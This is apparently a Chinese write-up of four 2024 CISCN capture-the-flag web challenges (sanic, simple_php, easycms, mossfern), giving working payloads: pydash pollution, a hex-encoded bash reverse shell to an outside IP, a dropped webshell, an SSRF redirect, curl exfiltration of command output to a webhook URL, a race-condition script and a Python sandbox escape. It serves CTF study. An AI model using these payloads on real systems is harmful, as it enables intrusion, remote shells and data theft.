2024ciscn第一场

本章内容均在ctfshow复现

sanic

python污染

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from sanic import Sanic
from sanic.response import text, html
from sanic_session import Session
import pydash
# pydash==5.1.2


class Pollute:
def __init__(self):
pass


app = Sanic(__name__)
app.static("/static/", "./static/")
Session(app)


@app.route('/', methods=['GET', 'POST'])
async def index(request):
return html(open('static/index.html').read())


@app.route("/login")
async def login(request):
user = request.cookies.get("user")
if user.lower() == 'adm;;n':
request.ctx.session['admin'] = True
return text("login success")

return text("login fail")


@app.route("/src")
async def src(request):
return text(open(__file__).read())


@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
if request.ctx.session.get('admin') == True:
key = request.json['key']
value = request.json['value']
if key and value and type(key) is str and '_.' not in key:
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")
else:
return text("forbidden")

return text("forbidden")


if __name__ == '__main__':
app.run(host='0.0.0.0')

第一步

绕过编码限制,cookie中遇到;就会默认断开

利用八进制绕过

image-20250113105227333

第二步

污染file属性,打个断点,全局的file属性

1
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.__file__","value":"/proc/self/environ"}

image-20250113113815380

image-20250113114313553

回到src路由可以看到读取的内容,

第三步

在python中,常用且不能写入的基础数据类型只有一种,那就是元组。所以我们就先不看元组数据

元组示例👇

image-20250113120100459

污染目录读取,static值

断点根目录路由的open

image-20250113121021348

尝试失败,只有name_index下的变量才能保存

根据目录的路由追踪

image-20250113122730857

image-20250113124534891

箭头所指为static的路由

最后将static路由打开文件浏览

1
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": "True"}

image-20250113134913895

将目录设置在根目录下

不知道为啥,我这里面没有_parts,可能是# pydash==5.1.2这个版本我用的8。xx的问题,没关系

1
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts","value": ["/"]}

image-20250113135035847

在根据第一步的方法获取文件内容

1
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.__file__","value":"/24bcbd0192e591d6ded1_flag"}

其他

1
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.file_or_directory","value": "/"}

另一种第一步的方法,会直接下载出来

参考

1
https://redshome.top/2024/12/10/2024%e5%9b%bd%e8%b5%9b-sanic%e5%a4%8d%e7%8e%b0/
1
https://www.cnblogs.com/gxngxngxn/p/18205235

simple_php

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
ini_set('open_basedir', '/var/www/html/');
error_reporting(0);

if(isset($_POST['cmd'])){
$cmd = escapeshellcmd($_POST['cmd']);
if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) {
system($cmd);
}
}


show_source(__FILE__);
?>

法一

读取

1
rev能读取文件,du能读取目录,但是读不到环境变量和根目录的下半段

命令的绕过可以使用%0a

1
2
cmd=l%0as /
#抓包修改

用php-r

1
cmd=php -r $a=substr(Z62617368202d63202262617368202d69203e26202f6465762f7463702f3132332e35362e3232362e37312f34343320303e263122,1);system(hex2bin($a));
  • -a - 启动交互式模式
  • -c <path> - 指定 php.ini 配置文件的路径
  • -d <foo[=bar]> - 设置 INI 配置选项
  • -e - 检查文件语法并退出
  • -f <file> - 运行 PHP 文件
  • -h - 显示帮助信息
  • -? - 显示提示
  • -r <code> - 执行一段 PHP 代码
  • -x - 显示所有 PHP 扩展

ctfshow给的环境有问题,怀疑不能出网

写个码

1
cmd=php -r $a=substr(z6563686f20273c3f706870206563686f28226675636b22293b246368203d206578706c6f646528222e222c227379732e74656d22293b2463203d202463685b305d2e2463685b315d3b246328245f4745545b315d293b27203e202f7661722f7777772f68746d6c2f352e706870,1);system(hex2bin($a));

能写进去,没有flag,/etc/passwd里有个数据库账户

利用上面的码再写进去个蚁剑能连的,数据库弱口令,获取flag

image-20250116115633561

1
2
3
1=system('mysql -uroot -proot -e "use PHP_CMS;show tables;"');

1=system('mysql -uroot -proot -e "use PHP_CMS;select * from F1ag_Se3Re7;"');

法二

条件竞争

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests
import threading
import re

url = "http://c982f6eb-ffa4-49b6-bb8f-852a7c416f6c.challenge.ctf.show/"

proxies = {"http": None}

def upoadFile():
file = {"files": open("C:/Users/LEGION/Desktop/新建文件夹/02/src/python-code/ctf/py快速提取提交/session文件/e.php")}
data = {"cmd": "du -a /"}
res = requests.post(url, files=file, data=data)
r = re.findall("(/tmp/php.*)", res.text)
# print(r)
if r and r[0] != '' and r[0] != '/tmp/php':
print("php " + r[0])
exec("php " + r[0])
# print(res.text)

def getPhp():

data = {"cmd": "du -lh --max-depth=1 -a /tmp"}
res = requests.post(url, data=data)
r = re.findall("(/tmp/php.*)", res.text)
# print(r)
if r and r[0] != '' and r[0] != '/tmp/php':
print("php " + r[0])
exec("php " + r[0])

def exec(cmd):
data = {"cmd": cmd}
res = requests.post(url, data=data)
print(res.text)

if __name__ == "__main__":
for i in range(5):
threading.Thread(target=getPhp).start()
threading.Thread(target=upoadFile).start()

代码分析

1
临时文件上传,然后去遍历临时文件目录,将遍历结果依次执行

easycms

有提示打ssrf,扫一扫

敏感目录

1
2
3
4
5
/flag.php
/install.php
/Readme.txt
/test.php
#V4.6.2

查CNVD-C-2022-423202

1
https://www.xunruicms.com/bug/
1
2
3
4
5
GIF89a
<html>
<?php
header("Location:http://127.0.0.1/flag.php?cmd=bash%20-c%20%22bash%20-i%20%3E&%20/dev/tcp/123.56.226.71/443%200%3E&1%22");?>
</html>

shell弹不出来,外带试试

1
curl https://webhook.site/1d60be04-f923-43af-9a50-bd5668df6528/`ls /|base64`

302不需要,直接打

1
https://5f5a0b0b-7b93-426d-a816-3d7a0e4b0190.challenge.ctf.show/?s=api&c=api&m=qrcode&text=1&thumb=http://127.0.0.1/flag.php?cmd=curl%20http://webhook.site/1d60be04-f923-43af-9a50-bd5668df6528/`/readflag|base64`

mossfern

参考资料

1
https://1cfh.fun/2024/05/21/WriteUp/2024-CISCN-Review/#mossfern

生成器

1
2
3
yield用来产生一个值,并在保留当前状态的同时暂停函数的执行

当下一次调用生成器时,函数会从上次暂停的位置继续执行,直到遇到下一个yield语句或函数结束

生成器表达式

1
2
3
4
5
我们可以使用in关键字去访问一个生成器
例如👇
a=(i+1 for i in range(100))
for i in a:
print(i)

生成器属性

gi_code:生成器对应的code对象

gi_frame:生成器对应的frame对象

gi_running:生成器函数是否在执行,生成器函数在yield以后,执行yield的下一行代码前处于frozen状态,此时该字段为0

gi_yieldrom:如果生成器正在从另一个生成器中yield值,则在该生成器对象的引用,否则为None

栈帧属性

1
2
3
4
5
6
栈帧包含了以下几个重要的属性:
f_locals: 一个字典,包含了函数或方法的局部变量。键是变量名,值是变量的值。
f_globals: 一个字典,包含了函数或方法所在模块的全局变量。键是全局变量名,值是变量的值。
f_code: 一个代码对象(code object),包含了函数或方法的字节码指令、常量、变量名等信息。
f_lasti: 整数,表示最后执行的字节码指令的索引。
f_back: 指向上一级调用栈帧的引用,用于构建调用栈。

用它给的例子可以看出规律

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import pdb
def f():
# yield 1
yield g.gi_frame.f_back

g = f()
print("------------------start------------------")
print(g)
frame = next(g)

# pdb.set_trace()
print(frame)
print(frame.f_back)
print(frame.f_back.f_back)
print(frame.f_back.f_back.f_back)
print(frame.f_back.f_back.f_back.f_back)
print(frame.f_back.f_back.f_back.f_back.f_back)
print(frame.f_back.f_back.f_back.f_back.f_back.f_back)
print("------------------end------------------")

不打断点报错,打完是一步一步往回走,最后找全局属性flag

源码审计

  • run路由下是创建临时文件写入用户传入的python代码去执行
  • runner.py里面是过滤

直接贴exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def exp():
def scq():
yield scq.gi_frame.f_back

scq = scq()

# frame = next(scq)
frame=[x for x in scq][0]
print(frame)
print(frame.f_back)
gattr = frame.f_back.f_back.f_back.f_globals["_"*2+"builtins"+"_"*2]

getflag = frame.f_back.f_back.f_back.f_code

dir = gattr.dir
print(dir(getflag))

for i in getflag.co_consts:
print(i)

exp()

下边这个没回显

1
2
3
4
builtins = [a:=[],d:=a.append,d([b.gi_frame.f_back.f_back.f_globals]for b in a),*a[0]][-1][0]["_""_builtins_""_"]
eval = builtins.eval
flag = eval("_""_import_""_('os').popen('ls /').read()", {"_""_builtins_""_": builtins})
print(flag[::-1])

参考

1
https://xz.aliyun.com/t/13635?time__1311=mqmxnQ0QiQi=DteDsD7md0=dG=dSMOkdxWD&alichlgref=https://www.bing.com/